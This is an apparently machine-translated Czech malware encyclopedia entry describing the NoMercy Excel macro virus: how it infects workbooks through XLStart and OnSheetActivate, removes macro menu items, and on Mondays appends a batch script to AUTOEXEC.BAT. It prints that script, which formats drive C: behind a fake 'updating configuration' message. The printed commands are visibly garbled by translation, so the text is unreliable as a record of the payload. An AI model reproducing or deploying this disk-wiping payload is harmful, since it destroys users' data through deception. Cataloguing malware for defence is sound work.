Virus.MSExcel.Nomercy

Technické údaje

Tento makrovir infikuje listy aplikace Excel (soubory XLS). Obsahuje dva moduly: Členové a NoMercy2.

Chcete-li infikovat aplikaci Excel, vytvoří virus infikovaný soubor NOMERCY.XLM v adresáři spouštění aplikace Excel (XLStart). Virus obsahuje auto-makro auto_open v modulu NoMercy2 a auto-makro nastavuje makro Fuck (rutina infekce) na volání OnSheetActivate. V důsledku toho virus infikuje listy, které jsou aktivovány. Virus detekuje již infikované soubory pomocí názvu modulu "NoMercy2".

Virus vymaže všechny položky nabídky, které pracují s makrami. V pondělí po 7:00 ráno virus připojuje k souboru C: AUTOEXEC.BAT příkaz, který formátuje pevný disk:

@ OFF OFF

CLS

ECHO Počkejte prosím při nastavení Aktualizace Vaše konfigurační soubory

ECHO To může trvat několik minut …

FORMÁT C: / U / C / S / AUTOTEST> NUL

ECHO kompletní !!!

ECHO.

ECHO.

ECHO Výsledek:

ECHO Všechna data byla ztracena !!!